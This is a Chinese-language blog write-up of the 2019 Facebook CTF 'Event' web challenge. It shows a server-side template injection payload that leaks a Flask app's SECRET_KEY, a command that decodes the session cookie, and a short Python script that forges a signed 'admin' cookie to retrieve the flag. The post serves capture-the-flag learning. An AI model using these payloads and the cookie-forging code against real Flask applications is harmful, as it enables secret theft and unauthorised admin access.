2019FBCTF-Event

admin用户不可注册登录,这里随便注册其他用户:

Cookie: user=ImEi.ZurdRg.Xt6BnHKMi3F956vdu-J0eKLUloQ; events_sesh_cookie=.eJwlzj0OwjAMQOG7eO5gJ06dcBnkX8Ha0glxd5DY3vTpveFeR54PuL2OKze4PwNusIJVK5rXPkVX-GyeQ5CFuK-QmWRSsnh4JBKhqDUMaenM7s1t5AgaVl2020-jKRhDOvovqpUq8m6k4WuvNOpjGlly7yJIsMF15vGfIfh8AeACL4M.ZurdRg.E2sSRs1whmNt52lVJrCKS4cjlbE

cookie里面的user和events_sesh_cookie都可能经过jwt加密过
这里有三个参数,经过测试发现event_important有SSTI

event_name=aa&event_address=aaa&event_important=__class__.__init__.__globals__[app].config

'SECRET_KEY': 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y',

有了SECRET_KEY后就可以伪造了:
先解密:

python3 flask_session_cookie_manager3.py decode -c '.eJwlzj0OwjAMQOG7eO5gJ06dcBnkX8Ha0glxd5DY3vTpveFeR54PuL2OKze4PwNusIJVK5rXPkVX-GyeQ5CFuK-QmWRSsnh4JBKhqDUMaenM7s1t5AgaVl2020-jKRhDOvovqpUq8m6k4WuvNOpjGlly7yJIsMF15vGfIfh8AeACL4M.ZurdRg.E2sSRs1whmNt52lVJrCKS4cjlbE' -s 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

得到:

{'_fresh': True, '_id': '9d4aafd2cf687a9dc82ce570471439d78e1b7f7945cde01107ab20d72ec44cc2cb5e5d15bf37a3bd4a1870d5730c870f2faa046b1adc96feb1358b1be4337701', 'user_id': '1'}

当然了直接用flask-unsign解密也可以:

不过伪造user_id并不能实现越权

此时就要关注另一串cookie:

user=ImEi.ZurdRg.Xt6BnHKMi3F956vdu-J0eKLUloQ;

但是这里并不知道它的加密方式,不过已知密钥,即可伪造签名

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'

session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

@app.route('/')
def index():
    print(session_serializer.dumps("admin"))

index()

伪造签名可还行。。。。

运行后得到:

ImFkbWluIg.Zurhyg.6897YfHJDAnMkjbQAdwbTMn9KE4

然后访问/flag

flag{90c13c73-c901-401e-ba38-53314d059641}

posted @ 2024-10-14 14:57  starme  阅读(3)  评论(0编辑  收藏  举报